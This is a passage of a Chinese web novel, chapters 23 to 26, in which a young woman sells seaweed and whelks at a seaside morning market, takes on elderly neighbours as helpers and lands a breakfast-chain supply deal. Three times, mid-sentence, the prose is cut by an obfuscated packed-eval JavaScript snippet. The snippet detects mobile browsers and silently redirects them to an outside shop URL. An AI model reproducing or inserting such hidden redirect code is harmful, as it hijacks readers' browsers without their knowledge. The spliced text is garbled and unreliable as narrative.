一共卖出去18斤，一份1块4，收12块6毛钱，给大爷9毛，剩11块7，加上一开始卖的四斤2块4毛钱，今天赚了14块1毛钱。 “卖没了，卖没了。”韩丽娟算完账，看还有人没走，赶紧告诉人家，别等了。 “你这不还剩点？”谁知道那人盯上韩丽娟还剩的不到半斤的紫菜。 “这点太少了，你包包子也不够，再说也到不到送白菜的标准。”韩丽娟跟人家解释，剩下的不送白菜。 “没事，我整好想少买点，回家打个紫菜蛋花汤喝。”那人说，多了她还不买呢。 原来还能做汤啊，韩丽娟心说。“行，那我称一下。” “四两多，你看看。”韩丽娟将秤星展示给对方看。“两毛八，收你两毛五。”韩丽娟给对方抹个零。 对方拿出钱，拎着那点紫菜走了。 “大爷，我先走啦，您也早点回家。”走前，韩丽娟跟大爷道别。 “哎！好。”大爷笑呵呵的跟韩丽娟摆手，漏出已经不整齐的牙，今天这白菜卖的痛快，他也能早点回去。“慢点哈。” 韩丽娟骑着自行车，美滋滋的往家走，心里的小算盘噼里啪啦的拨着。早上系了会海带结，一会回家还能干一会，她今天能赚15块，哈哈哈，美好的一天啊。 明天她要赶早市，虽然听说早市一个小摊位要收五毛钱，但逛早市的人流集中，目标明确，她不用为了快点卖菜，绞尽脑汁的想一些鬼点子。 到家后，韩丽娟给自己做了午饭，看看时间，吃过饭她可以歇一会，干点活，再去赶海。 “娟子，忙着呢？”韩丽娟正准备吃饭。隔壁屋的老太太来了。 韩丽娟跟孙慧左右都有邻居，右边是姜美凤家，左边是一户姓王的人家，也是外地来打工的，夫妻俩，带着孩子，还有一个老太太。 住的房子，跟韩丽娟他们一样，一个卧室一个厨房，只不过他们在厨房打了一个隔断，将厨房一分为二，里面改成一个小卧室，摆一张床，给老太太当卧室用。 老太太平时做做饭，收拾收拾屋子，孩子放学放假看孩子。白日里没事就坐在门口晒太阳。 “娟子，有个事想求你一下。” 23. 第 23 章 求？ 什么事，用到求字？毕竟他们算不上熟。 满打满算，认识不过四五天。 “王奶奶，您先说啥事？”韩丽娟没有直接应承。 老太太瞟了几眼韩丽娟堆在厨房角落的海带结。“娟子，你这系海带结的活，能带上我不。” 韩丽娟一听，有些为难，怎么带呢。 她自己每次拿二十斤，两天三天取一次，也不累，还能把闲暇时间利用起来。但是，如果是带上王奶奶，就要增加重量。 从他们这里到刘婶家，按说路程也不是很远，跟到辰兴针织厂差不多，骑自行车二十分钟左右。但她不能天天免费给人运货呀。 她帮着运一天两天是人情，一直帮就会变成她的责任，王奶奶不是她的责任，她与王奶奶之间的关系，只是比陌生人好一点点。 “王奶奶，我去取货这家离咱们这挺近的，您可以让您儿子或者儿媳回来帮你去取或者送，我这每天还有别的事，取货送货的都不及时，耽误您干活。” 韩丽娟委婉的拒绝，这种家庭作坊也没有上下班时间，下班后六七点过去，人家也能让你来取。 “一点不耽误，他们总管着我，我不想让他们去。”老太太赶紧摆摆手。“我不挑多少，有就干点，没有就闲着。” 老太太自然是能让儿子去的，但老太太也有老太太的思量，她自己找的活，赚了钱能自己攒着。儿子儿媳帮着去取货，送货，那赚的钱算谁的，自己把钱要过来，怕儿子儿媳妇不高兴。不要，那自己忙活什么呢。 她跟着儿子身边，帮小夫妻俩做点家务，让他们俩每天回家能歇一歇，没啥抱怨的。可她年纪大了，总要自己攒点养老钱。 韩丽娟能听出王奶奶话里话外的意思。但她…… “我年纪大，工厂不能要我，再说家里还有一堆活，也走不开。可我这身体也挺好，趁着自己能动，也想给自己攒点养老钱，昨天看你系海带结，我一想这活我也能干，越寻思越心动，看你回来就觍个老脸来找你。娟子，你带上我一个，成不？”老太太情真意切，她也没什么说话的技巧，全是自己内心的实在话。 看着这个比自己奶奶年轻不了几岁的老太太，韩丽娟半响没说话，她想了想，她可以按照正常生意人的思维，她给王奶奶供货，从中赚钱一部分提成，就像收村里爷爷奶奶的鹅毛再卖给大的鹅毛商一样，赚个差价。 王奶奶如果拒绝，那她就省点事。王奶奶如果答应，那假设老太太一天能系十斤，她就两天跑一趟，去赶海的时候，顺便送货，从县里卖完菜回来拐个弯去取货，也不算太累，一天赚一毛，一个月还三块呢。每个月酱油醋和盐的钱赚出来了。 “王奶奶，我系一斤海带结，人家给我一毛一，你从我这里拿货，一斤赚您一分钱，您就能赚一毛。而且我也不敢保证，每天都有货，这样，您能接受吗？”她实话实说。“而且我这个人要求高，你系的海带结必须达到要求。” “行，这太好了！你有功夫拿回来，我就系，没工夫我就不系。”老太太听到韩丽娟松口，忙不迭的点头答应。“你赚钱也是应该的。孩子，还是你心眼好。” 王奶奶看出来，韩丽娟还是心软，看她老太太年纪大，想赚钱不容易，才答应的。 “王奶奶，您家里那边如果有问题，需要您自己解决的。”韩丽娟又补充了一句。 “你放心，他们管不了我。”王奶奶大手一挥，她自己的主自己能做。 …… 第二日一早，太阳还没完全升起，韩丽娟就骑着自行车出门了。 到了县里，直奔早市。 早市的服务亭里，已经有工作人员在，工作人员看了看她的货品，给发个小牌子。收她一块五毛钱。其中五毛是摊位费，一元是押金，一会退牌子的时候归还。 “往里面走，里面看着用白框画好的小摊位，那块你能摆，位置自己挑，看好自己随身物品钱财，丢失不负责。” 工作人员三言两语，说好规则。 这功夫六点多一点。现在出摊最多的是早餐店，多是红星菜市场一楼对外的小门市。有的门口支一口油锅，旁边桌子上摆放着炸好的油条，油炸糕，麻团。有的门口是一个蒸笼，冒着热气。还有的正在包混沌，包饺子…… 这些地方摊位都是长年租出去的，他们卖菜的不在这里，她沿着早餐摊子往里走，终于看到三三两两卖菜摊位。 早春没什么青菜。 多是白菜，大萝卜，胡萝卜，还有苹果，大葱、鸡蛋…… 小商贩也都是附近村里的农户。 也有卖海菜和海货的。大摊位那边有卖海带，贝壳类的海鲜。他们这小摊位有卖海菜，海蜇皮，干虾皮，虾米的。还有两家卖鱼的。 韩丽娟看到那个每天赶海都能遇到的妇女，也在这早市摊上。 她看到韩丽娟出现在这已经见怪不怪了，早就能想到，这个小姑娘很快能摸到早市来。 韩丽娟将自行车横立在摊位最里边。然后从车后座拿下篮子。篮子里放着一个红色塑料桶和秤。然后卸下后座两侧搭拉着的尼龙丝袋子。 她今天带的货品有点“多”。红桶里是她新增的货品，波螺。 之前她赶海的时候，就看到一种带壳会爬的小东西，小拇指大小，一堆堆的聚在一起。她问了问，这东西叫波螺，也能吃。昨天她赚了钱，又买了一个塑料桶，专门放这东西，第一次抓，她也不知道这东西离了海还能活多久，桶里她就放了不多的海水，结果今早一看，嘿，都活得好好的。 沿着摊位边上，摆好红桶，土篮子和丝袋子。土篮子里放着她打包好的小袋紫菜。丝袋子口也打开，漏出紫紫绿绿的海菜。 又从车筐里拿出个小马扎，放在货品和自行车中间。 最后，从身上背着的单肩书包里，掏出准备好的塑料袋，放进土篮子，正准备坐在马扎上，就看见之前赶海遇见的妇女在不远处，她走过去，问“你海菜准备卖多少钱？” 那妇女没想到她如此直接，抿了抿嘴唇，带着问句说“8毛？” 韩丽娟点头“好，那我也卖八毛。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082286|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>韩丽娟想，一个市场，在菜品如此稀少的情况下，容得下他们这几十斤的海菜，大家没必要为了卖菜互相降价，最后谁也得不到好。 那妇女没想到韩丽娟竟然会这样说，要知道，之前跟菜市场其他的一两个卖海菜的离着近了，都是比着便宜的卖的。 “紫菜，紫菜，一点绿菜不掺的紫菜，一份5毛！” “波螺，波螺，新出海的波螺，全都是活的，2毛一杯,5毛三杯。” 回到自己的摊位，韩丽娟把塑料桶的盖子打开，也跟着周围的叫卖声，开始卖货。 昨天那个买海菜回家做汤的提醒她，这玩意还能有别的吃法，回去她就找胖婶打听，海菜汤咋做，胖婶告诉她，纯紫菜的做汤好喝。 于是赶海的时候，她赶海菜累了就捡会波螺，见波螺累了就专门捡会紫菜，如此反复，倒也攒下了不少的紫菜。 她把紫菜半斤一份，都称好，单独卖。 “紫菜5毛？”有人被这个价格吸引来。“这么点？”结果看到的不是一斤。 “这是纯紫菜，不掺一点绿菜的。”韩丽娟跟人解释。“市场纯紫菜你看看多少钱一斤，没有比我这更便宜的。” 韩丽娟不知道，韩丽娟瞎说的，她猜早市没有人单独把紫菜挑出来卖的，都是紫绿掺和在一起的。 这也不算骗人。 “买份菜，5毛钱，回家做汤，人少够两次的。”韩丽娟说。“普通的海菜半斤也得4毛，做的汤哪有这个纯紫菜的鲜，紫菜就剩个把月了，一春天，还不喝一口鲜的。” “行，给我来一份。” 韩丽娟卖出一份紫菜，进账5毛。 “波螺怎么卖？” “紫菜怎么卖？” 人逐渐变多，打听的，买货的一点点也多起来。 “你这海菜怎么8毛钱，人那边卖7毛。”一个顾客蹲在韩丽娟摊位前，挑挑拣拣。 “你要买两斤，我就给你算7毛5分钱，秤还给你高高的，不也跟7毛差不多。” 韩丽娟不知道这个菜市场哪个卖海菜的讲价，但是走到他面前的顾客，她必须抓住。 “你看看我的菜，大姐，你没买那7毛的，一定是没看上，你再看看我的菜，是不是全市场最好的！” 韩丽娟的嘴，嘁哩喀喳。 “那……给我来两斤？”顾客觉得韩丽娟说的好像是对的，她刚刚在那边没买，不是因为要再转一圈看看有没有更便宜的，而是就是觉得那个菜，不入她眼。 韩丽娟称好两斤菜。又伸手去袋子里抓了一下，放进给顾客的袋子里。“大姐，你下次再买菜，还来找我哈。” “好好好。”大姐笑得合不拢嘴，她就觉得这个小姑娘入她眼缘，下次要买东西还来找她。 大姐拎着东西刚想走，又看见韩丽娟的红桶。“哎妈呀，你这还有香波螺，怎么卖？” “2毛一杯，大姐敞亮，给你算5毛三杯，还给你高高的装着。”韩丽娟顺手拿起一个塑料袋，就开始往里装波螺。“买三杯呀，跟海菜凑2块钱的？” 24. 第 24 章 “行。”买货大姐应该也是不差钱，痛快的答应，直接从钱夹里掏出一张贰元的纸币，给了韩丽娟。 装波螺的杯子是那种喝白酒的二两杯，韩丽娟每一杯都给装的带尖尖。“大姐，吃好了再来哈，我差不多每个早市都在。”韩丽娟不忘拉拢回头客。 一早，东西买的比昨天快，但是纯紫菜这个单品，卖的没有韩丽娟想象的好。 原因很简单，顾客觉得贵了。 韩丽娟发现大家也不是单纯的对价格敏感，那边卖新鲜海鱼的摊位，价格比肉贵，照样卖的红火。 而是紫菜跟海菜比，一斤贵的那2毛钱让顾客觉得不值得，在多数人眼里，海菜紫菜没区别，都能做汤，只是一个紫菜多一点，一个紫菜少一点。 但其实半斤的海菜也好卖，很多人看到韩丽娟的半斤菜，都是想讲价，讲到跟海菜持平的价格，就会买，天天包包子的人家少数，可花正常的钱半斤海菜，回去喝两顿蛋花汤，或炒个鸡蛋或捏个馄饨汤喝，都是不错的。 韩丽娟见状，直接将紫菜打散进海菜堆里，再单独称半斤的分量拿出来卖。 贵了卖不动她也不能降价，因为付出的劳动成本不一样。如果两个一样的价，以后海菜也会不好卖。 香波螺卖的不错，韩丽娟决定最近多赶点它。 早市结束前，韩丽娟将自己的货品全部出清。今天她的收入超过20元。 从这天开始，韩丽娟就尽可能的赶早市，来的次数多了，跟周围一圈摆摊的人就熟悉起来，跟赶海遇到的那个妇女也熟了，妇女姓唐，韩丽娟叫她唐姐。她俩经常约着一起赶海，韩丽娟总算有了赶海搭子。 三月，韩丽娟都很忙，甚至孙慧约她周末出去逛街，她都没时间，搞得孙慧很不开心，去约了别人。 她最近跟当初火车上遇到那家的小姑娘黄雪娜相处的不错。俩人年龄相当，还在一个地方上班，俩家住的不算远，随着韩丽娟的忙碌，孙慧就经常去找对方玩了。 这天，韩丽娟在早市卖完海菜，决定不回家做早饭，而是找个早餐摊位，解决自己的早饭，唐姐听韩丽娟这么说，也决定吃完早饭再回去。 韩丽娟闻着那个油条的香味好几天了，今天，她要吃它。 坐在早餐摊位，她点了一份豆腐脑，两根油条。 豆腐脑端上来，她拿起勺子喝了一口。“咦？”又喝一口。 她品了品这个豆腐脑的味道，有点熟悉。又仔细打量碗里的卤汁，确定，这豆腐脑的卤汁里面，除了木耳，鸡蛋花，黄花菜碎这些，还放了海菜，虾皮，海带丝。 她就说，喝起来有一股鲜味，很好喝。 “怎么了？”坐在她对面的唐姐，听到她的疑惑声，问道。 “没怎么，第一次喝滨海的豆腐脑，挺好喝的。”韩丽娟解释道。 喝着咸鲜的豆腐脑，韩丽娟心里想，其实她还忽略了一个很大的客户群体，那就是各类小吃店，他们应该也需要海菜的。 如果她能开发出来一个这样的客户，那一直到四月中旬，她就每天都有固定顾客，保证自己的收入。如果这样的客户变得多起来，她甚至不用来早市卖货了。 不，她还可以再海边收菜，然后…… 韩丽娟越想越远。 “还是你聪明，准备半斤的海菜往外卖。”唐文丽夸她。这两天，卖海菜的都知道，可以提前准备些半斤的菜，装好，有人来问，直接一手钱，一手货，量走的特别快。 大家卖菜这么久，也有人来打听半斤菜怎么卖，但是没有人会想到这么个卖法。 在唐姐的心里，我摊位就在这，哪里需要提前准备呢。你买多少，我卖多少呗。但就是奇怪了，这么卖之后，销量真的在增加。 “我是这么想，唐姐，之前咱们一想到海菜就是包子，所以，不管是卖海菜，还是买海菜，主要就是想着包包子。偶尔想着做个蛋花汤，很多人还因为买的少不好意思张嘴。但是现在咱们这么卖，它对标的就是白菜，萝卜等其他青菜，买回家，打两个鸡蛋，或者炒成海菜鸡蛋碎，或者做成海菜鸡蛋卷，都是一道春日里不错的小菜。” 甚至有人买回家，早晨放个鸡蛋，加点面粉，做成海菜煎饼，一个菜能做的花样越多，才能有更多人买。 吃过早饭，俩人约定好赶海时间，就散开，各忙各的去了。 韩丽娟在早市逛一圈，等到人流稀少，不打扰早餐店的生意，才又来到店里。 “店主，你家豆腐脑可真好喝。”韩丽娟走到店主身旁，跟他打招呼。 店主嘿嘿一笑。“都说我家豆腐脑好喝，那是因为我家舍得往卤里放料。” “是，我看里面放了海菜跟虾皮。”韩丽娟接过话。 这话让店主起了警惕之心，虽然这些东西在卤汁里很容易就发现，但是这姑娘这么研究他家的卤汁，是想干啥。 “嗨，各家都一样，你吃别人家也差不多都是这些东西。”秘密都在调味里。 “店主，我是卖海菜的，我就想问，你家既然卤汁里放了海菜，需不需要送货。”既然已经搭上话，韩丽娟也不拐弯抹角，店主也挺忙的。 “卖海菜的？”店主之前因为韩丽娟是个小姑娘，没好意思仔细打量，韩丽娟自报家门后，他这才看了看韩丽娟一身行头。看着不像，但是看她停在一旁的自行车上确实有一个沾着紫菜碎的土篮子。 细闻，也能闻到这姑娘身上一股子海菜味。 “你这海菜什么价？”店主问道。 “要是到三月底，你每天都要货，那我就给你市场最低价。”韩丽娟开口。 “我这有个固定送菜的老主顾，这豆腐脑里一天也用不多少。主要是他一年365天都能供货，人家能提供干海菜。”店主想了想，跟韩丽娟透底，他们这种小买卖，还是以稳定为主。 “这样。”韩丽娟点头知晓。看来，盯着这块生意的，大有人在。 不过韩丽娟也不气馁，这才第一家，哪里就那么幸运，第一家店就做成买卖的。 “那我不打扰您做生意了。”从豆腐脑早餐店出来，韩丽娟想，她可以每天选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085673|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定一块区域，只要是早餐店，她都进去打听打听，问一问。总是能找到顾客的。 大型饭店她现在是不敢想的，毕竟手里没货。 “不要不要。” “我们这有人供货了。” “我们老板今天不在，你改天再来吧。” “我们店用不到海菜。” “谢绝推销。” 一整天，韩丽娟遇到了各式各样的拒绝。 晚上回到家，她坐在桌前，一边系海带，一边想今天遇到的各色拒绝。 有听到是推销货品就撵她的，有听了一半没兴趣就摆摆手不想再听的。有本身就有人供货，跟她打听价格的。还有就是会认真听她说完，但觉得自己店里用不到的。 这其中，除了有供货商的和一听推销就撵人的没啥机会，剩下的其实都有机会。甚至如果韩丽娟手里的资源多，有供货商的也不是没机会。但目前，她的目标是先找开发一个属于自己的客户。现在撬别人的客户，得罪人，她现在得罪不起谁。 可是，怎么能让本身不需要海菜的店需要海菜呢。 韩丽娟觉得就是要劝对方增加相关菜品。 很多人不增加是因为海菜是一个季节性产物，一年就四个月左右的时间有新鲜海菜，如果上了海菜为主的菜品，那其他时间就要买干海菜，储存和价格都是问题。 今天那几个用到海菜的，要么店里有海菜蛋花汤，要么就是馄饨店汤底里撒一点紫菜，都是小批量用货，就算其他季节，每天增加的成本不过几毛钱。 好难呀！ 第二天，赶完早市，韩丽娟接着一家店一家店的走。 “嗯，你说的有道理，滨海人喜欢海菜包子，但是……” 又一家早餐店，韩丽娟跟店主沟通，店主听完她增加早餐卖海菜包子的建议后，中肯的点点头。 “但是没必要呀，卖海菜包子，不会多赚，甚至可能会赚的更少。” 本地人对海菜包子是很喜爱，但他们家就是一个很小的早餐铺，单个包子的价格，素的2毛5分钱，荤的4毛，海菜本身价格高，如果卖4毛，利润就薄，同样的时间，包10个猪肉白菜包子，卖10猪肉白菜包子赚1块钱，换成同等数量的海菜包子可能就赚3毛钱，何必费这个事儿呢。 如果海菜包子涨到5毛钱，卖不动咋办呢。 那他不是赔了！ 店主摇摇头，不行，不能增加。 “小姑娘，你还是去别家看看吧，我家暂时不需要。”店主最终还是决定，拒绝韩丽娟。 虽然早就有心理准备，虽然这两天已经被拒绝无数次，但是从店里走出来，韩丽娟还是觉得难过。 就这样放弃吗？ 她不想，虽然她现在每天都能进账20多块钱，但是海菜是季节性的，等海菜结束后，她靠什么赚钱呢？ 要趁现在，能多赚的时候，多赚一点，等过一阵，她才能不那么焦虑的去寻找别的赚钱机会。 加油！ 韩丽娟给自己打气，她一定能成功。 25. 第 25 章 从小店出来，走了一段路，韩丽娟看到对面有一家比较大的早餐店，窗明几净，跟她找的这些小店不一样，里面的桌子都是铺着桌布的。 韩丽娟打量一下四周的建筑，一咬牙，走了进去。 “你好，吃点什么？”看韩丽娟进来后，站在那里盯着店里挂着的菜单，却一直没点餐，服务人员过来问道。 “有海菜包子吗？”韩丽娟问。 “暂时没有海菜包子，但咱家有猪肉、牛肉还有韭菜虾仁馅的包子，味道都不错，可以尝尝。” 没有海菜包子！韩丽娟心狠狠地提起，但她不经意撇了一眼餐桌，正有人在吃馄饨，馄饨里有紫菜，她的心又噗通跳回去。 可能是干海菜，干海菜跟鲜菜不一样，韩丽娟在心里安慰自己。 没事，反正都失败那么多次，再多一次也无所谓。 “请问你们老板在吗，我有些事要谈一下。”韩丽娟尽量让自己的声音稳重，平和，不急不躁。 “这……”服务人员顿住。“抱歉……”她要说老板不在，老板真的不在，老板在也不在。 服务员刚刚想要拒绝，一个三十多岁的妇女走过来，问道。“怎么了？”她看到这个店员在这跟顾客沟通半天，以为是发生了什么事。 “店长，这人说要找老板。” “店长，你好，我就找你。” 本来听到店员说的抱歉，韩丽娟已经要放弃了，谁知道这个店长突然出现，她赶紧抓住机会。“你好，我姓韩，韩丽娟，店长，咱们这么大的店为什么没有滨海的季节特色产品呢？” “您好，金，金丹桂。”店长伸手，让韩丽娟坐在一张餐桌前。示意店员可以离开。“您说的是什么意思呢？”金丹桂准备很认真的聆听韩丽娟的话。 滨海特色？滨海盛产海鲜，她们店里也有一些海鲜类的产品，但是他们毕竟是做早午餐的，还是以方便快捷为主。 韩丽娟笑了。“不瞒您，我是来推销我的新鲜海菜的。我刚刚打听了一下，咱们店里没有海菜包子。海菜作为滨海的早春特色，店里是不是也应该准备一些呢？” 韩丽娟没有什么谈判技巧，跟眼前的店长比起来，她太稚嫩，唯有真诚。这些天，她一直也用的是真诚。 金丹桂看你这眼前的姑娘，明亮的眼睛，真诚带着笑意，不禁也笑了。“我们的店里不缺包子，现有的产品足以应对客户的需求，为什么还要增加新品呢？” “金店长，咱们这个店周围有好几家宾馆，附近还有旅游景点，人来人往，还有很多外地人，这些人他们也不缺包子，但他们缺没吃过的包子。” “嗯。”金丹桂点头。“说的有道理。” “我不是很懂做买卖，但我想，对待外来旅客，地区性的特色产品，更能吸引他们，因为它的与众不同人，让见识到的人回去后有的聊。海菜包子做起来不复杂，却很有地方特色。而且，本地人也十分喜欢这一口，店里增加了海菜包子，也能增加本地人前来购买早餐。”包子，包子，海菜包子，韩丽娟觉得现在她的脑子里充满了包子。 韩丽娟想，他们这么大的店，应该不会像家庭小店那样，做不了太多早餐花样。她就要告诉金店长，别管本地人外地人，海菜包子都能受欢迎，卖出去。 “不，我觉得你是懂的，你说的很好，继续。”金丹桂不认同韩丽娟的谦虚，一个二十岁出头的小姑娘，说出这番话，足够让她刮目相看。她引导韩丽娟接着往下说。 “我没什么想说的了，还有就是新鲜的海菜做出来的包子，比晒干的海菜更有鲜味，而且在价格上，也更便宜，如果咱们店里准备增加海菜包子，我可以每天过来送货。”韩丽娟接着说道，她可不想给别人做嫁衣。 听到韩丽娟这句话，金丹桂笑得更开心,一个很能看明白的小姑娘。“我懂你的意思了，我需要时间来考虑，如果我们确定增加海菜包子，我会在你这里购买海菜，但前提是你的海菜要足够好。” 他们这家早餐店是才开业不久的，老板那边的意思也是增加点不一样的新品，目前上了虾仁馅料，今天这个小姑娘说的海菜，也是可以考虑的。 韩丽娟抑制住自己想要将“真的！”二字问出口，同时告诉自己要控制情绪，但是开心的笑容怎么也控制不住。“那好，那我明天的这个时间再过来？” “店里如果需要香波螺肉，也可以找我。”末了，韩丽娟不忘再多宣传宣传自己的产品。 波螺肉她也可以煮了，挑出来，送过来。 “好的，如果有需要，我一定最先找你。”人与人之间可能需要眼缘吧，金丹桂觉得，她跟这个叫韩丽娟的小姑娘十分有眼缘。 告别金店长，韩丽娟从店里出来，长舒一口气，好开心呀，虽然不知道会不会成功，也不知道这家店能用多少货。但是终于有一个不一样的开端了！ 值得庆祝！ 这之后，韩丽娟仿佛开窍，她也不分大小店，也不局限于早餐店，只要是饭店，她就进去询问。 竟然真的谈成两家生意，虽然要的都不多，价格也压的低，每家每天只要两斤，且价格只给到5毛钱一斤。韩丽娟同意，但要求每次送货都钱货两清，不押款。 这两家也不是大型饭店，但店里有冷冻设备，跟韩丽娟商议三天送一次货。 “娟子，你回来啦。”韩丽娟拖着疲惫身躯兴奋的脑子回到家，王奶奶在等她。 “王奶奶，有事吗？”韩丽娟昨天给她三十斤的菜，应该不会这么快就系完的吧。 毕竟王奶奶还有许多杂活。 “娟子，周围有几个老太太，听说你这能拿活，都想让我来问问你，能不能带上她们。” 王奶奶本不想帮着问的，韩丽娟帮她一个人拉货，不累，但是五六个老太太每天怎么都要一百斤左右的货，靠着小姑娘自行车拉，挺累的，他们这出门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090672|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是一个坡。 可，都是跟着儿女出来的，年纪大，也都想赚点钱，自己手里有钱，心里也有底。 几个老太太？ 韩丽娟一合计，估计这附近租房子住的老人都被王奶奶纳入旗下了。 他们这附近有几家工厂，有适合男人的，也有适合女人的，都不太远，二十分钟左右的自行车，所以，在这个村子里租房子的人不少，他们这几排几乎都租出去了村里还有那种正常的适合一家子几口住的房子，也有外来人员租住，还有买下来的。 这个村子的外俩人确实不少。 跟着儿女出来的老太太老头都有。主要是老太太，老太太过来给儿女做饭收拾屋子，老头在家种地。 老太太们平时闲着的时候，但是聚在一起，晒晒太阳，聊聊天，谁知道，最近，他们中间出了个叛徒，王奶奶竟然好几天没出来聊天了，一打听，人家接到手工活，挣钱呢。 这好事，老王太太怎么独享呢，带上她们啊！ 可她们跟韩丽娟不认识，甚至都没说过话。 韩丽娟因为忙，再加上年轻，跟她们很少交流。王奶奶因为是邻居，才说得上话的，因此，这帮老太太就想通过王奶奶来找韩丽娟打听打听。 “那你们一天能系多少斤？”韩丽娟不认识这些人，不知道他们能干出来多少活。 “这……”王奶奶顿住，她没法估量，按照她自己的速度，每天15斤是能完成的。但是其他人。“这样，娟子，我去问问她们，等确认了我再来找你，行不？” “这样，王奶奶，你先让大家确认是不是都能做，说能做，报个名给你，我可以先估摸着拿些货给大家分，让大家都系一次，看看能不能干。”韩丽娟心里有点思路，但还要去找一下刘婶，以及确认这些大娘大奶们，能干这个活。 “行，谢谢娟子，那我去跟大家说一下。”王奶奶看韩丽娟的状态，应该是很累的，就没多打扰。 韩丽娟将今天赶海得到的东西搬回屋，今天太累，她想先歇一歇。 第二日一早，她先去给两家店送货，没去早市，就先去找金丹桂。 韩丽娟来的早，店里虽然开门，人还不多，金店长已经在了，她将韩丽娟引到她们的办公室。 这间屋子不大，既是办公室，也是员工休息室。有几张桌子椅子，还有一排更衣柜。 “韩丽娟，昨天跟你聊过后，我跟我们老板通过一次话，老板觉得这个可以增加海菜包子这个单品。”金丹桂开门见山，韩丽娟刚刚坐下，她就开始陈述。 韩丽娟端坐在一旁，此刻她很紧张，老板同意增加，但是是否同意从她这里进货呢？ 她在等待一个结果，她的眼睛一瞬不瞬的盯着金丹桂的嘴巴。不知道为什么，她手里已经有了两家客户，但对这家店的结果，她仍然十分紧张！ “每天十斤，从你这里进货。” “太棒了！” 26. 第 26 章 十斤！ 韩丽娟太开心了。 这是她没想到的数量。 “是这样的，我们除了在本县有一家早餐店，在市区也有三家。如果卖的好，后续我们的需求还会增加。”金丹桂坐在桌前，望着笑的很开心的韩丽娟，有条不紊的说。 “昨天，我出去打听一下海菜的价格，单价在6毛5分到9毛不等。按照6毛5分钱一斤的市场价格，我们的进货价，要按照市场价打7.5折，就是4毛9分钱一斤。未来除非价格波动较大，市场价低于我们的进货价，或者高于1元8分每斤，才会改价，否则，会一直按照这个价格进行核算。” 4毛9分一斤，韩丽娟在心里计算一下。“6毛五分的海菜我也看过，但是质量是不够好的，里面有杂质不说，还有的菜比较老影响口感。”她想给自己争取一下价格。 “那按照7毛一斤的市场价，我们能给到的价格是5毛3分钱，这个价格，是我的权限能给到的最高价格。”金丹桂心中应该早就有成算，韩丽娟的话说出口，她略一思索，就给出了第二个价格。 “那我需要将菜送到市里？”这个价格，韩丽娟接受，她还有一个问题。 “不用，送到我们这家店。”金丹桂说。“我们公司每天都有车往返送货。” 她没跟韩丽娟说，其实店里有自己的各色菜品供货商。海菜完全可以交由指定供货商来提供，事实上，她跟老板沟通过后，老板就是这么想的，但因为这个建议是她提出来的，她力保韩丽娟作为海菜供应商，老板跟她认识多年，有交情在，就同意了。 金丹桂看到韩丽娟身上那股子冲劲，像极了年轻时候的自己，她想给她一次机会。 “好。”韩丽娟点头答应，供给店面的价格一定是低于零售的，这方面韩丽娟也不纠结。“那我从今天开始供货？”韩丽娟的海菜还剩下十多斤，今天供货，店面明日早晨就可以上新。 早春很短。 金丹桂认同。 俩人就菜的品质，几日一结账等等细节进行沟通确认后，签订协议，韩丽娟起身。“金店长，谢谢您，我知道您一定在这其中帮我说了好话，您放心，我一定把握好菜的质量关。”在刚刚沟通细节的时候，金丹桂说的最多的就是质量。 尘埃落定，韩丽娟要感谢金丹桂，她没上过班，但是她知道，一个这样的店面，想要进购海菜，渠道是很多的，如果金店长不认同她，她不会成为最终选择。 她现阶段拿不出什么感谢，唯有把控好质量，才能不辜负金店长。 “好好干！”金店长没说什么，她只是拍拍韩丽娟的肩膀。 早晨，不管是对于金丹桂还是韩丽娟，都很忙碌，俩人没有太多客套，韩丽娟将今天的十斤海菜留下，就去早市了。 急匆匆的到了早市，急匆匆的卖完货，都没来得及跟唐姐打过招呼，就往海边赶去。 今天又是忙碌的一天，她要去海边附近的村子，看有没有村民愿意接赶海菜的活。还要去找刘婶商议一下系海带结的事情。 时间就是金钱。 现在她每天需要送的货是14斤，每天赶海，她自己能收获20多斤的菜，如果她继续开发新客户的话，她自己早市就没得卖，甚至供货都不够。 她记得赶海附近有个村子，她准备今天去村子里逛一逛，打听打听消息。 到了村子里，好多人家大门紧闭，走了几家，终于遇到一家开着院门的。 “你好，家里有人吗？”韩丽娟朝着屋子里喊道。 “你好……”等了半响，没人，韩丽娟准备再喊一声时，门开了。 一个年轻的男人站在门内。 俩人相顾，都有些愣住。 韩丽娟有些尴尬，她以为这个时间段，各家都是些中老年人在家，没想到会有年轻人。她想着，不然换一家吧。 “啊，你稍等……”屋内的人反应过来后，留下这么一句话，朝后院走去。 不一会，一个四十多岁、不到五十的中年妇女，从后院走出来。她走到大门口，有些疑惑的看着韩丽娟，不知道这个年轻的女孩有什么事。 